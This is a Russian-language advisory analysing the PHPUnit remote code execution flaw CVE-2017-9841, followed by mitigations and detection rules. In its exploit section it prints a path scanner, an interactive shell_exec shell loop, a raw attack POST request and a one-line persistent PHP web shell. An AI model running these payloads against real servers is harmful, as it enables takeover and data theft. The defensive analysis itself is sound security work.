
Уязвимость BDU:2021-04398 (CVE-2017-9841) PHPUnit
Уязвимость BDU:2021-04398 (CVE-2017-9841) компонента Util/PHP/eval-stdin.php фреймворка PHPUnit связана с некорректной обработкой входящих данных. Она позволяет удалённому злоумышленнику выполнить произвольный PHP-код через специально сформированный HTTP POST-запрос. Уязвимы версии PHPUnit ≤ 4.8.27 и 5.0.0–5.6.3.
Анализ уязвимости
Уровень опасности: 9.8 (CRITICAL)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Attack Vector: Network) - Атака возможна через сеть без физического доступа
-
AC:L (Attack Complexity: Low) - Низкая сложность эксплуатации
-
PR:N (Privileges Required: None) - Не требуются привилегии
-
UI:N (User Interaction: None) - Не требуется участие пользователя
-
S:U (Scope: Unchanged) - Воздействие ограничено уязвимым компонентом
-
C:H (Confidentiality: High) - Полное нарушение конфиденциальности
-
I:H (Integrity: High) - Полное нарушение целостности
-
A:H (Availability: High) - Полное нарушение доступности
Условия эксплуатации
-
Наличие уязвимой версии PHPUnit в production-среде (до 4.8.27 включительно и от 5.0.0 до 5.6.3)
-
Доступность файла
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
через веб-сервер -
Возможность отправки HTTP POST-запросов к целевому серверу
-
Отсутствие механизмов валидации входящих данных
Технический анализ эксплоитов
Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием уязвимости CVE-2017-9841.
1. phpunit-brute (сканирование уязвимых путей):
def test_url(url, urlpath): newurl = f"{url}{urlpath}" rawBody = "<?php phpinfo();" # Тестовый payload headers = {"Content-Type": "application/x-www-form-urlencoded"} response = session.post(newurl, headers=headers, data=rawBody) if "PHP License" in response.text: # Проверка успешности выполнения print(f"[+] Found RCE at {newurl}") open("found.txt", "a").write(f"{newurl}\n")
Принцип работы:
-
Перебирает пути из предустановленного списка (1000+ вариантов)
-
Отправляет POST-запрос с телом
<?php phpinfo();
-
Обнаруживает уязвимые endpoints по наличию строки "PHP License" в ответе
Пример вредоносного запроса:
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded Content-Length: 18 <?php phpinfo();
2. phpunit-shell (интерактивная эксплуатация):
def shell(address): while True: cmd = input("$ ") payload = f"<?php echo(shell_exec('{cmd}'));?>" upload = requests.post(address, data=payload) response = BeautifulSoup(upload.content, "html.parser") print(response)
Особенности:
-
Интерактивная оболочка для выполнения произвольных команд
-
Использует
shell_exec()
для выполнения системных команд -
Автоматическая очистка вывода через BeautifulSoup
-
Поддержка прокси и пользовательских заголовков
Последствия успешной эксплуатации
-
Полный контроль над сервером.
-
Кража конфиденциальных данных:
-
Ключи БД (
.env
,config.php
) -
Пользовательские сессии
-
SSL-сертификаты
-
-
Установка персистентности:
<?php file_put_contents('shell.php', '<?php system($_GET["c"]);?>');
-
Атаки на внутреннюю инфраструктуру.
-
Криптомайнинг и DDoS-атаки
Где встречается уязвимость?
-
PHP-приложения с зависимостями через Composer
-
Старые версии Laravel, Symfony, Yii
-
Кастомные CMS с включёнными компонентами разработки
-
Docker-образы без обновления зависимостей
Методы защиты
1. Обновление зависимостей:
# Для PHPUnit 4.x: composer require phpunit/phpunit ^4.8.28 # Для PHPUnit 5.x: composer require phpunit/phpunit ^5.6.4
2. Удаление уязвимых файлов из production:
# Поиск и удаление опасного файла: find . -name "eval-stdin.php" -exec rm -f {} \;
3. Конфигурация веб-сервера (Nginx):
location ~* "eval-stdin\.php$" { deny all; return 403; }
4. Правила для WAF (ModSecurity):
SecRule REQUEST_URI "@contains eval-stdin.php" \ "id:1001,phase:1,deny,msg:'PHPUnit RCE Attempt'"
5. Правила для Suricata (IDS/IPS):
alert http any any -> any any \ (msg:"PHPUnit RCE Exploit Attempt"; \ flow:to_server; \ content:"POST"; http_method; \ content:"eval-stdin.php"; http_uri; \ content:"<?php"; http_client_body; \ sid:2000001; rev:1;)
6. Контроль доступа:
-
Запрет выполнения PHP в директориях vendor
-
Ограничение доступа к папкам разработки через IP-whitelist
-
Регулярный аудит зависимостей (OWASP Dependency-Check)
Рекомендации для разработчиков
-
Никогда не включать dev-зависимости в production
-
Использовать отдельные контейнеры для разработки и продакшна
-
Регулярно обновлять зависимости:
composer update --no-dev
-
Реализовать Health Check API для проверки уязвимых компонентов
Заключение
BDU:2021-04398 (CVE-2017-9841) — критическая уязвимость, позволяющая получить полный контроль над сервером через выполнение произвольного кода. Основная причина эксплуатации — наличие компонентов разработки в production-среде. Для защиты требуется комплексный подход: обновление зависимостей, конфигурация веб-сервера и применение сигнатур IPS/WAF. Регулярный аудит зависимостей и принцип минимальных привилегий должны стать стандартными практиками в DevOps-процессах.
